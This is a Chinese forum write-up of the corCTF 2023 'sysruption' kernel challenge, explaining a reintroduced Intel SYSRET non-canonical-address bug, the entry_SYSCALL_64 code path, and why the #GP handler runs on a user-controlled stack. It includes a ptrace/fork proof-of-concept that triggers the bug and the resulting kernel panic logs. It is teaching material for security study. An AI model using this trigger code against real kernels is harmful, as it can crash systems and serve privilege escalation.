首页
社区
课程
招聘
2
[原创] 以 corCTF 2023 sysruption 学习 sysret bug 的利用
发表于: 2024-2-1 17:06 12803

[原创] 以 corCTF 2023 sysruption 学习 sysret bug 的利用

2024-2-1 17:06
12803


前言

这是一道关于 SYSRET 漏洞利用的一道题目,感觉非常有意思,在此仅做记录。

参考:

zolutal: corCTF 2023: sysruption writeup

Will's Root: corCTF 2023 sysruption - Exploiting Sysret on Linux in 2023

SYSRET — Return From Fast System Call

Vitaly Nikolenko: CVE-2014-4699: Linux Kernel ptrace/sysret vulnerability analysis

entry_SYSCALL_64 source code

THE INTEL SYSRET PRIVILEGE ESCALATION

这里默认读者对系统调用、中断异常故障有基本的了解,知道段选择子是什么、其特权级代表什么含义。如果不是很了解的话建议做一做 hxp CTF 2022: one_byte 这道题目,可以帮助你快速了解。但还是建议看下保护模式相关的书籍,其介绍的更加详细。

漏洞分析

启动脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#!/bin/sh
qemu-system-x86_64 \
    -m 4096M \
    -smp 1 \
    -nographic \
    -kernel "./bzImage" \
    -append "console=ttyS0 loglevel=3 panic=-1 pti=off kaslr" \
    -no-reboot \
    -monitor /dev/null \
    -cpu host \
    -netdev user,id=net \
    -device e1000,netdev=net \
    -initrd "./initramfs.cpio.gz" \
    -enable-kvm

看到 -cpu host 就想到 EntryBleed,这个漏洞我记得在之前的 SCTF 似乎考过。所以这里的 kaslr 可以很简单地利用侧信道绕过。

FizzBuzz101 大师在题目中重新引入了 sysret 漏洞,其 patch 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
--- orig_entry_64.S
+++ linux-6.3.4/arch/x86/entry/entry_64.S
@@ -150,13 +150,13 @@
        ALTERNATIVE "shl $(64 - 48), %rcx; sar $(64 - 48), %rcx", \
                "shl $(64 - 57), %rcx; sar $(64 - 57), %rcx", X86_FEATURE_LA57
 #else
-       shl     $(64 - (__VIRTUAL_MASK_SHIFT+1)), %rcx
-       sar     $(64 - (__VIRTUAL_MASK_SHIFT+1)), %rcx
+       # shl   $(64 - (__VIRTUAL_MASK_SHIFT+1)), %rcx
+       # sar   $(64 - (__VIRTUAL_MASK_SHIFT+1)), %rcx
 #endif
 
        /* If this changed %rcx, it was not canonical */
-       cmpq    %rcx, %r11
-       jne     swapgs_restore_regs_and_return_to_usermode
+       # cmpq  %rcx, %r11
+       # jne   swapgs_restore_regs_and_return_to_usermode
 
        cmpq    $__USER_CS, CS(%rsp)            /* CS must match SYSRET */
        jne     swapgs_restore_regs_and_return_to_usermode

可以看到,这里删除了 sysret 执行前对返回地址 %rcxcanonical 检查。原来的意思是如果 %rcx 是一个 non canonical 地址,则跳转的 slow exit path [swapgs_restore_regs_and_return_to_usermode],否则执行 fast exit path [sysret]

那么什么叫做 canonical 地址呢?我们知道在 64-bit 时代,虚拟地址空间寻址只用了 48 bit,因为 48 bit 的地址空间是足够的,并且对于 48 bit 的虚拟地址空间,只需要 4 级页表即可;而对于 64 bit 的虚拟地址空间,则需要 6 级页表,而页表查询是需要时间的。所以综合考虑,最终只使用了 48 bit 来寻址。那么这里就有 16 bit 没有被使用,而为了便于后续扩展,这里采用的方式是:

  • 16 bit [48 - 63 bit] 必须和第 17 bit 相同,也就是说高 17 bit 必须相同,那么这些地址就叫做 canonical address(其实就是有效地址)

  • 所以最后的虚拟地址空间为:0~0x7fffffffffff0xffff800000000000~0xffffffffffffffff

  • 而一般而言:0~0x7fffffffffff 为用户态虚拟地址空间;0xffff800000000000~0xffffffffffffffff 为内核态虚拟地址空间

而可以看到 entry_SYSCALL_64 源码中对上述 canonical address check 的描述:

1
2
3
4
5
6
7
8
9
10
11
 /*
  * On Intel CPUs, SYSRET with non-canonical RCX/RIP will #GP
  * in kernel space.  This essentially lets the user take over
  * the kernel, since userspace controls RSP.
  *
  * If width of "canonical tail" ever becomes variable, this will need
  * to be updated to remain correct on both old and new CPUs.
  *
  * Change top bits to match most significant bit (47th or 56th bit
  * depending on paging mode) in the address.
  */

可以知道,当 SYSRET 返回到一个 non canonical 地址时,会在内核态触发 #GP,而这本质上就是让用户接管内核,因为用户可以在用户空间控制 RSP。当然这里不理解没关系,继续往下看就 ok 啦。

entry_SYSCALL_64

这里还是先把 entry_SYSCALL_64 函数过一遍,当然这个函数比较简单,并且注释很清楚,所以只会翻译重点注释:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
/*
 * 64-bit SYSCALL instruction entry. Up to 6 arguments in registers.
 * 64-bit 的 syscall 指令入口,最多 6 个寄存器参数
 *
 * This is the only entry point used for 64-bit system calls.  The
 * hardware interface is reasonably well designed and the register to
 * argument mapping Linux uses fits well with the registers that are
 * available when SYSCALL is used.
 * 这是 64-bit 系统调用的唯一入口点
 *
 * SYSCALL instructions can be found inlined in libc implementations as
 * well as some other programs and libraries.  There are also a handful
 * of SYSCALL instructions in the vDSO used, for example, as a
 * clock_gettimeofday fallback.
 *
 * 64-bit SYSCALL saves rip to rcx, clears rflags.RF, then saves rflags to r11,
 * then loads new ss, cs, and rip from previously programmed MSRs.
 * rflags gets masked by a value from another MSR (so CLD and CLAC
 * are not needed). SYSCALL does not save anything on the stack
 * and does not change rsp.
 * 64-bit syscall 保持 rip 到 rcx 中,并清除 rflags.RF 标志位,然后保存 rflags 到 r11 中
 * 然后从 MSR 寄存器组中加载新的 ss、cs 和 rip,rflags 的一些标志位会被清除
 * syscall 不在栈上保存任何值并且不会改变 rsp
 *
 * Registers on entry:
 * 下面是 syscall 使用的一些寄存器
 * rax  system call number  系统调用号
 * rcx  return address     返回地址
 * r11  saved rflags (note: r11 is callee-clobbered register in C ABI) rflags
 * rdi  arg0    6个参数寄存器
 * rsi  arg1
 * rdx  arg2
 * r10  arg3 (needs to be moved to rcx to conform to C ABI)
 * r8   arg4
 * r9   arg5
 * (note: r12-r15, rbp, rbx are callee-preserved in C ABI)
 *
 * Only called from user space.
 *
 * When user can change pt_regs->foo always force IRET. That is because
 * it deals with uncanonical addresses better. SYSRET has trouble
 * with them due to bugs in both AMD and Intel CPUs.
 * 这段话的意思简而言之就是:
 *     当处理 non canonical address 时,用 iret 返回
 *     否则使用 sysret 返回,因为 sysret 更快
 */
 
SYM_CODE_START(entry_SYSCALL_64)
    UNWIND_HINT_ENTRY
    ENDBR
 
    swapgs  /* 切换 gs [gsbase] 为内核态 gs */
    /* tss.sp2 is scratch space. */
    movq    %rsp, PER_CPU_VAR(cpu_tss_rw + TSS_sp2) /* 保存 rsp */
    SWITCH_TO_KERNEL_CR3 scratch_reg=%rsp  /* 切换页表,cr3 寄存器保存的是顶层目录项的基地址*/
    movq    PER_CPU_VAR(pcpu_hot + X86_top_of_stack), %rsp /* 切换栈帧,可以引证 syscall 不改变 rsp */
 
SYM_INNER_LABEL(entry_SYSCALL_64_safe_stack, SYM_L_GLOBAL)
    ANNOTATE_NOENDBR
    /* 下面就是依次压栈寄存器了,其实就是在栈上构造一个 pt_regs 结构体 */
    /* Construct struct pt_regs on stack */
    pushq   $__USER_DS              /* pt_regs->ss */
    pushq   PER_CPU_VAR(cpu_tss_rw + TSS_sp2) /* pt_regs->sp */
    pushq   %r11                    /* pt_regs->flags */
    pushq   $__USER_CS              /* pt_regs->cs */
    pushq   %rcx                    /* pt_regs->ip */
SYM_INNER_LABEL(entry_SYSCALL_64_after_hwframe, SYM_L_GLOBAL)
    pushq   %rax                    /* pt_regs->orig_ax */
 
    PUSH_AND_CLEAR_REGS rax=$-ENOSYS /* 这里会把其它寄存器压栈,并且会把寄存器的值清零*/
 
    /* IRQs are off. */
    /* 下面设置的 rdi/rsi 是 do_syscall_64 函数的两个参数 */
    /* rdi 保存的就是栈上 pt_regs 的地址 */
    movq    %rsp, %rdi
    /* Sign extend the lower 32bit as syscall numbers are treated as int */
    /* rsi 保存的是系统调用号 */
    movslq  %eax, %rsi
 
    /* clobbers %rax, make sure it is after saving the syscall nr */
    IBRS_ENTER
    UNTRAIN_RET
    /* 去执行相应的功能 */
    call    do_syscall_64       /* returns with IRQs disabled */
 
    /*
     * Try to use SYSRET instead of IRET if we're returning to
     * a completely clean 64-bit userspace context.  If we're not,
     * go to the slow exit path.
     * In the Xen PV case we must use iret anyway.
     * 这里会尝试使用 sysret 返回而不是 iret,利用就是 sysret 更快
     */
 
    ALTERNATIVE """jmp  swapgs_restore_regs_and_return_to_usermode", \
        X86_FEATURE_XENPV
    /* rcx r11 都是返回地址的值 */
    movq    RCX(%rsp), %rcx
    movq    RIP(%rsp), %r11
    /* 检查两个值是否相等 */
    cmpq    %rcx, %r11 /* SYSRET requires RCX == RIP */
    jne swapgs_restore_regs_and_return_to_usermode
 
    /*
     * On Intel CPUs, SYSRET with non-canonical RCX/RIP will #GP
     * in kernel space.  This essentially lets the user take over
     * the kernel, since userspace controls RSP.
     *
     * If width of "canonical tail" ever becomes variable, this will need
     * to be updated to remain correct on both old and new CPUs.
     *
     * Change top bits to match most significant bit (47th or 56th bit
     * depending on paging mode) in the address.
     */
#ifdef CONFIG_X86_5LEVEL
    ALTERNATIVE "shl $(64 - 48), %rcx; sar $(64 - 48), %rcx", \
        "shl $(64 - 57), %rcx; sar $(64 - 57), %rcx", X86_FEATURE_LA57
#else
    /* canonical address 检查 */
    shl $(64 - (__VIRTUAL_MASK_SHIFT+1)), %rcx
    sar $(64 - (__VIRTUAL_MASK_SHIFT+1)), %rcx
#endif
 
    /* If this changed %rcx, it was not canonical */
    cmpq    %rcx, %r11
    jne swapgs_restore_regs_and_return_to_usermode
    /* 检查 cs */
    cmpq    $__USER_CS, CS(%rsp)       /* CS must match SYSRET */
    jne swapgs_restore_regs_and_return_to_usermode
    /* 检查 rflags */
    movq    R11(%rsp), %r11
    cmpq    %r11, EFLAGS(%rsp)     /* R11 == RFLAGS */
    jne swapgs_restore_regs_and_return_to_usermode
 
    /*
     * SYSCALL clears RF when it saves RFLAGS in R11 and SYSRET cannot
     * restore RF properly. If the slowpath sets it for whatever reason, we
     * need to restore it correctly.
     *
     * SYSRET can restore TF, but unlike IRET, restoring TF results in a
     * trap from userspace immediately after SYSRET.  This would cause an
     * infinite loop whenever #DB happens with register state that satisfies
     * the opportunistic SYSRET conditions.  For example, single-stepping
     * this user code:
     *
     *           movq   $stuck_here, %rcx
     *           pushfq
     *           popq %r11
     *   stuck_here:
     *
     * would never get past 'stuck_here'.
     */
    /* 这里看上面注释,简单来说 sysret 不能恢复某些 rflags 的标志位 */
    testq   $(X86_EFLAGS_RF|X86_EFLAGS_TF), %r11
    jnz swapgs_restore_regs_and_return_to_usermode
 
    /* nothing to check for RSP */
    /* 可以看到,这里没有检查 rsp */
    /* 检查 ss */
    cmpq    $__USER_DS, SS(%rsp)       /* SS must match SYSRET */
    jne swapgs_restore_regs_and_return_to_usermode
 
    /*
     * We win! This label is here just for ease of understanding
     * perf profiles. Nothing jumps here.
     */
    /* 下面就是 sysret 返回逻辑 */
syscall_return_via_sysret:
    IBRS_EXIT
    POP_REGS pop_rdi=0 /* 恢复相关寄存器的值,这里可以调试看更明显 */
 
    /*
     * Now all regs are restored except RSP and RDI.
     * Save old stack pointer and switch to trampoline stack.
     */
    movq    %rsp, %rdi
    movq    PER_CPU_VAR(cpu_tss_rw + TSS_sp0), %rsp /* 切换到内核栈 */
    UNWIND_HINT_EMPTY
 
    pushq   RSP-RDI(%rdi)   /* RSP */
    pushq   (%rdi)      /* RDI */
 
    /*
     * We are on the trampoline stack.  All regs except RDI are live.
     * We can do future final exit work right here.
     */
    STACKLEAK_ERASE_NOCLOBBER
 
    SWITCH_TO_USER_CR3_STACK scratch_reg=%rdi
 
    popq    %rdi /* 这里保存的返回值*/
    popq    %rsp /* 恢复 rsp */
SYM_INNER_LABEL(entry_SYSRETQ_unsafe_stack, SYM_L_GLOBAL)
    ANNOTATE_NOENDBR
    swapgs /* 切换 gs 为用户态 gs */
    sysretq /* sysretq 返回 */
SYM_INNER_LABEL(entry_SYSRETQ_end, SYM_L_GLOBAL)
    ANNOTATE_NOENDBR
    int3
SYM_CODE_END(entry_SYSCALL_64)

SYSRET BUG

sysret 指令的作用总的来说就是:

  • 加载 rcxrip

  • 切换代码段选择子

来看下 IntelAMD 手册对 sysret 的伪代码规范性描述:

1
2
3
4
5
6
7
8
9
10
11
12
13
------------------ INTEL -------------------|-------------------  AMD ----------------------
...                                         | ...
IF (operand size is 64-bit)                 | SYSRET_64BIT_MODE:
    THEN (* Return to 64-Bit Mode *)        | IF (OPERAND_SIZE == 64) {
    IF (RCX is not canonical) THEN #GP(0);  | {
        RIP := RCX;                         |      CS.sel = (MSR_STAR.SYSRET_CS + 16) OR 3
    ELSE (* Return to Compatibility Mode *) |      ...
        RIP := ECX;                         | }
FI;                                         | ...
...                                         | RIP = temp_RIP
CS.Selector := CS.Selector OR 3;            | EXIT
            (* RPL forced to 3 *)           |
...                                         |

可以看到在 Intel 规范中,如果 RCX 即返回地址不是一个 canonical address 的话,就会触发 #GP,然而可以看到其 CS 选择子的设置却在 #GP 后面,也就是说在 #GP 抛出时 CS 特权级为 0, 即 #GP 是在内核态抛出的。

但是在 AMD 规范中,其是先设置了 CS 的选择子,所以其并没有对地址进行显式的 canonical 检查,因为就算后面进行指令预取时发现其为 non canonical address 也没有关系,因为此时的 CS 选择子的特权级为 3,最后 #GP 是在用户态抛出的。

这会造成什么后果呢?在上面 entry_SYSCALL_64 函数的分析中,我们说了在 sysret 执行前恢复了 rsp 并且没有对 rsp 的检查。而我们知道当特权级从低往高转移时,会利用 tss 中的相关 ss/rsp 进行堆栈的切换(当然具体实现时,似乎都没有使用 tss,据说是因为其效率太低了),而由于 #GP 是在特权级为 0 抛出的,所以这里没有发生特权级的低到高切换,所以堆栈不会发生变化,即使用的还是之前的 rsp。哪问题不就来了吗?之前的 rsp 是用户态可控的啊,所以最好的效果如下:

  • #GP 在 0 特权级执行

  • #GP 使用用户空间提供的堆栈指针

漏洞利用

sysret bug 触发

由于水平有限,最后漏洞利用完全参考 corCTF 2023: sysruption writeupVitaly Nikolenko: CVE-2014-4699: Linux Kernel ptrace/sysret vulnerability analysis,而第一篇文章也是参考的第二篇文章,所以读者可以选择细读一下第二篇文章。

在文章中,其提到的用 ptrace 去触发漏洞,但是这里存在一定的限制,但其给出了解决方案,即:

1
Most ptrace paths go via the interface that catches the process using the signal handler which always returns with IRET. However, there are a few paths that can get caught with ptrace_event() instaed of the signal path. Refer to the PoC code for an example of using fork() with ptrace to force such a path.

这里给出文章中的 poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
void do_sysret(uint64_t addr, struct user_regs_struct *regs_arg) {
    struct user_regs_struct regs;
    int status;
    pid_t chld;
 
    memcpy(®s, regs_arg, sizeof(regs));
 
    if ((chld = fork()) < 0) {
        perror("fork");
        exit(1);
    }
 
    if (chld == 0) {
        if (ptrace(PTRACE_TRACEME, 0, 0, 0) != 0) {
            perror("PTRACE_TRACEME");
            exit(1);
        }
 
        raise(SIGSTOP);
        fork();
        return 0;
    }
 
    waitpid(chld, &status, 0);
 
    ptrace(PTRACE_SETOPTIONS, chld, 0, PTRACE_O_TRACEFORK);
    ptrace(PTRACE_CONT, chld, 0, 0);
 
    waitpid(chld, &status, 0);
 
    regs.rip = 0x8000000000000000; // not-canonical
    regs.rcx = 0x8000000000000000; // not-canonical
    regs.rsp = addr;
 
    // necessary stuff
    regs.eflags = 0x246;
    regs.r11 = 0x246;
    regs.ss = 0x2b;
    regs.cs = 0x33;
 
    ptrace(PTRACE_SETREGS, chld, NULL, ®s);
    ptrace(PTRACE_CONT, chld, 0, 0);
    ptrace(PTRACE_DETACH, chld, 0, 0);
}

这里可以简单测试一下:

1
2
3
4
5
6
7
8
9
10
int main() {
 
        struct user_regs_struct regs;
 
        do_sysret(0xdeadbeef, ®s);
        sleep(1);
 
        puts("[+] EXP NEVER END");
        return 0;
}

结果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
ctf@corctf:~$ ./poc
[   10.018563] traps: PANIC: double fault, error_code: 0x0
[   10.018619] double fault: 0000 [#1] PREEMPT SMP NOPTI
[   10.018658] CPU: 0 PID: 77 Comm: poc Not tainted 6.3.4 #14
[   10.018660] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.13.0-1ubuntu1.1 04/01/2014
[   10.018662] RIP: 0010:entry_SYSRETQ_unsafe_stack+0x3/0x6
[   10.018900] Code: 3c 25 d6 0f 02 00 48 89 c7 eb 08 48 89 c7 48 0f ba ef 3f 48 81 cf 00 08 00 00 48 81 cf 00 10 00 00 0f 22 df 58 5f 5c 0f 01 f8 <48> 0f 07 cc 66 66 2e 0f 1f 84 08
[   10.018902] RSP: 0018:00000000deadbeef EFLAGS: 00010046
[   10.018937] RAX: 000000000000004e RBX: b3061c50e54d3600 RCX: 8000000000000000
[   10.018938] RDX: 00000000004bf0c0 RSI: 000000000040189d RDI: 0000000000000000
[   10.018939] RBP: 0000000000000000 R08: 0000000000008000 R09: 0000000000000001
[   10.018940] R10: 0000000000000001 R11: 0000000000000246 R12: 00000001002c307d
[   10.018941] R13: 0000000000000000 R14: 0000000000447a26 R15: 00007ffe8c607976
[   10.018942] FS:  0000000000402fcc(0000) GS:ffff88813bc00000(0000) knlGS:ffff88813bc00000
[   10.018944] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[   10.018945] CR2: 00000000deadbed8 CR3: 0000000100a8c001 CR4: 0000000000770ef0
[   10.019027] PKRU: 55555554
[   10.019027] Call Trace:
[   10.019096] Modules linked in:
[   10.083849] ---[ end trace 0000000000000000 ]---
[   10.083854] RIP: 0010:entry_SYSRETQ_unsafe_stack+0x3/0x6
[   10.083865] Code: 3c 25 d6 0f 02 00 48 89 c7 eb 08 48 89 c7 48 0f ba ef 3f 48 81 cf 00 08 00 00 48 81 cf 00 10 00 00 0f 22 df 58 5f 5c 0f 01 f8 <48> 0f 07 cc 66 66 2e 0f 1f 84 08
[   10.083867] RSP: 0018:00000000deadbeef EFLAGS: 00010046
[   10.083869] RAX: 000000000000004e RBX: b3061c50e54d3600 RCX: 8000000000000000
[   10.083870] RDX: 00000000004bf0c0 RSI: 000000000040189d RDI: 0000000000000000
[   10.083871] RBP: 0000000000000000 R08: 0000000000008000 R09: 0000000000000001
[   10.083872] R10: 0000000000000001 R11: 0000000000000246 R12: 00000001002c307d
[   10.083921] R13: 0000000000000000 R14: 0000000000447a26 R15: 00007ffe8c607976
[   10.083934] FS:  0000000000402fcc(0000) GS:ffff88813bc00000(0000) knlGS:ffff88813bc00000
[   10.083935] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[   10.083936] CR2: 00000000deadbed8 CR3: 0000000100a8c001 CR4: 0000000000770ef0
[   10.084008] PKRU: 55555554
[   10.084009] Kernel panic - not syncing: Fatal exception in interrupt
[   10.084920] Kernel Offset: disabled

可以看到这里的 RIP = entry_SYSRETQ_unsafe_stack+0x3/0x6,说明确实是在 sysret 中触发的,并且这里的 RSP = 0xdeadbeef,并且 CPU 特权级为 0,这些都是符合预期的。但是这里却发生了 double fault,这是致命的。

难道是 0xdeadbeef 不是一个合法的地址,于是进行如下测试:

1
2
3
4
5
6
7
8
9
10
11
12
int main() {
 
        char RSP[0x3000] = { 0 };
 
        struct user_regs_struct regs;
        printf("%#p\n", RSP);
        do_sysret(RSP + 0x1000, ®s);
        sleep(1);
 
        puts("[+] EXP NEVER END");
        return 0;
}

还是 double fault

1
2
3
4
5
6
7
8
9
0x7ffe97c51690
[   11.949086] traps: PANIC: double fault, error_code: 0x0
[   11.949132] double fault: 0000 [#1] PREEMPT SMP NOPTI
[   11.949160] CPU: 0 PID: 77 Comm: poc Not tainted 6.3.4 #14
[   11.949163] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.13.0-1ubuntu1.1 04/01/2014
[   11.949164] RIP: 0010:entry_SYSRETQ_unsafe_stack+0x3/0x6
[   11.949350] Code: 3c 25 d6 0f 02 00 48 89 c7 eb 08 48 89 c7 48 0f ba ef 3f 48 81 cf 00 08 00 00 48 81 cf 00 10 00 00 0f 22 df 58 5f 5c 0f 01 f8 <48> 0f 07 cc 66 66 2e 0f 1f 84 08
[   11.949351] RSP: 0018:00007ffe97c52690 EFLAGS: 00010046
......

所以这里似乎跟 rsp 的值没啥关系。

double fault 分析

这里产生 double fault 的原因是 GP handler 非预期的使用了用户空间的 gsbasegsbase 寄存器是用来访问 percpu 变量的,比如在系统调用时,entry_SYSCALL_64 的第一条指令就是 swapgs 即切换到内核 gsbase,然后返回时又调用 swapgs 切换到用户 gsbase

接下来看下 GP handler - asm_exc_general_protection

1
2
3
4
5
6
7
8
9
10
11
12
(remote) gef➤  x/30gi asm_exc_general_protection
   0xffffffff81a00a90 <asm_exc_general_protection>:     clac
   0xffffffff81a00a93 <asm_exc_general_protection+3>:   cld
   0xffffffff81a00a94 <asm_exc_general_protection+4>:   call   0xffffffff81a011c0 <error_entry>
   0xffffffff81a00a99 <asm_exc_general_protection+9>:   mov    rsp,rax
   0xffffffff81a00a9f <asm_exc_general_protection+12>:  mov    rdi,rsp
   0xffffffff81a00a9f <asm_exc_general_protection+15>:  mov    rsi,QWORD PTR [rsp+0x78]
   0xffffffff81a00aa4 <asm_exc_general_protection+20>:  mov    QWORD PTR [rsp+0x78],0xffffffffffffffff
   0xffffffff81a00aad <asm_exc_general_protection+29>:  call   0xffffffff817f2430 <exc_general_protection>
   0xffffffff81a00ab2 <asm_exc_general_protection+34>:  jmp    0xffffffff81a01300 <error_return>
   0xffffffff81a00ab7 <asm_exc_general_protection+39>:  nop    WORD PTR [rax+rax*1+0x0]
......</asm_exc_general_protection+39></error_return></asm_exc_general_protection+34></exc_general_protection></asm_exc_general_protection+29></asm_exc_general_protection+20></asm_exc_general_protection+15></asm_exc_general_protection+12></asm_exc_general_protection+9></error_entry></asm_exc_general_protection+4></asm_exc_general_protection+3></asm_exc_general_protection>

可以看到这里首先会调用 error_entry

如果你做了 one_byte 这题,这里的 calc 应该比较熟悉


[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

最后于 2024-3-1 14:16 被XiaozaYa编辑 ,原因:
收藏
免费 2
支持
分享
赞赏记录
参与人
雪币
留言
时间
PLEBFE
为你点赞~
2024-5-22 01:00
slcn
为你点赞~
2024-2-19 09:38
最新回复 (2)
雪    币: 5930
活跃值: (2935)
能力值: ( LV9,RANK:250 )
在线值:
发帖
回帖
粉丝
2
咋删贴啊,咋投到 茶余饭后 板块去了
2024-2-1 18:05
0
雪    币: 3972
活跃值: (31426)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3
感谢分享
2024-2-2 15:22
1
游客
登录 | 注册 方可回帖
返回

账号登录
验证码登录

忘记密码?
没有账号?立即免费注册